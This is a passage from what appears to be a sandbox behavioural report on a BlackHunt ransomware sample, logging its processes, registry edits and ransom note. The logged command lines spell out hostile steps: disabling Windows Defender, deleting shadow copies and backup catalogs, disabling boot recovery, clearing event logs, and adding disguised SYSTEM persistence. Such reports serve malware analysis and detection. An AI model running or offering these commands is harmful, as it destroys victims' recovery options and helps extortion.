of 3936 4468 cmd.exe 109 PID 684 wrote to memory of 2440 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 110 PID 684 wrote to memory of 2440 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 110 PID 4652 wrote to memory of 4700 4652 cmd.exe 112 PID 4652 wrote to memory of 4700 4652 cmd.exe 112 PID 684 wrote to memory of 4792 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 113 PID 684 wrote to memory of 4792 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 113 PID 3964 wrote to memory of 4140 3964 cmd.exe 119 PID 3964 wrote to memory of 4140 3964 cmd.exe 119 PID 684 wrote to memory of 3912 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 118 PID 684 wrote to memory of 3912 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 118 PID 4552 wrote to memory of 3044 4552 cmd.exe 177 PID 4552 wrote to memory of 3044 4552 cmd.exe 177 PID 684 wrote to memory of 1124 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 116 PID 684 wrote to memory of 1124 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 116 PID 3724 wrote to memory of 2996 3724 cmd.exe 121 PID 3724 wrote to memory of 2996 3724 cmd.exe 121 PID 684 wrote to memory of 3536 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 122 PID 684 wrote to memory of 3536 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 122 PID 2440 wrote to memory of 3492 2440 cmd.exe 183 PID 2440 wrote to memory of 3492 2440 cmd.exe 183 PID 684 wrote to memory of 1200 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 129 PID 684 wrote to memory of 1200 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 129 PID 684 wrote to memory of 1580 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 203 PID 684 wrote to memory of 1580 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 203 PID 684 wrote to memory of 1340 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 128 PID 684 wrote to memory of 1340 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 128 PID 4792 wrote to memory of 4056 4792 cmd.exe 201 PID 4792 wrote to memory of 4056 4792 cmd.exe 201 PID 3912 wrote to memory of 4296 3912 cmd.exe 189 PID 3912 wrote to memory of 4296 3912 cmd.exe 189 PID 684 wrote to memory of 2276 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 135 PID 684 wrote to memory of 2276 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 135 PID 1124 wrote to memory of 2268 1124 cmd.exe 192 PID 1124 wrote to memory of 2268 1124 cmd.exe 192 PID 3536 wrote to memory of 3272 3536 cmd.exe 136 PID 3536 wrote to memory of 3272 3536 cmd.exe 136 PID 684 wrote to memory of 3824 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 199 PID 684 wrote to memory of 3824 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 199 PID 684 wrote to memory of 4088 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 139 PID 684 wrote to memory of 4088 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 139 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe"C:\Users\Admin\AppData\Local\Temp\1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:684 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:3172
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:5116
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4700
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4468 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:3936
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:4140
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:3044
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:3724
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:3492
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:4056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3912 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:4296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3536 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:3272
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1580
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3660
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1340
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:1200
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:3636
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2276
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1332
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3824
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4392
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4088
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:968
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2696
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:4264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:4816
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵
- Suspicious use of WriteProcessMemory
PID:3172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2580
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1484
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:4028
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:3904
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1736
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3820
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:3852
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1564
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2020
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:460
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2836
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:4568
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1168
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe" /F2⤵PID:4564
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe" /F3⤵
- Creates scheduled task(s)
PID:1956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2868
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Modifies Windows Defender Real-time Protection settings
PID:3044
-
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:5668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3932
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:6132
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1840
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:4056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4616
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:5680
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵
- Suspicious use of WriteProcessMemory
PID:3724 -
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5700
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4084
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1580
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2172
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4296
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5308
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:4932
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3824
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:4916
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:5300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1808
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:10232
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:11412
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:10092
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:8296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:11616
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:7180
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:10052
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:11752
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6952
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:7660
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:5320
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:6880
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:7640
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:7036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:9924
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:7048
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:5780
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:6592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:6948
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:6964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:7040
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:5832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:11772
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:6296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:7676
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:4668
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:5476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:6252
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:7276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:1084
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:9236
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:5592
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:1208
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:6056
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:6928
-
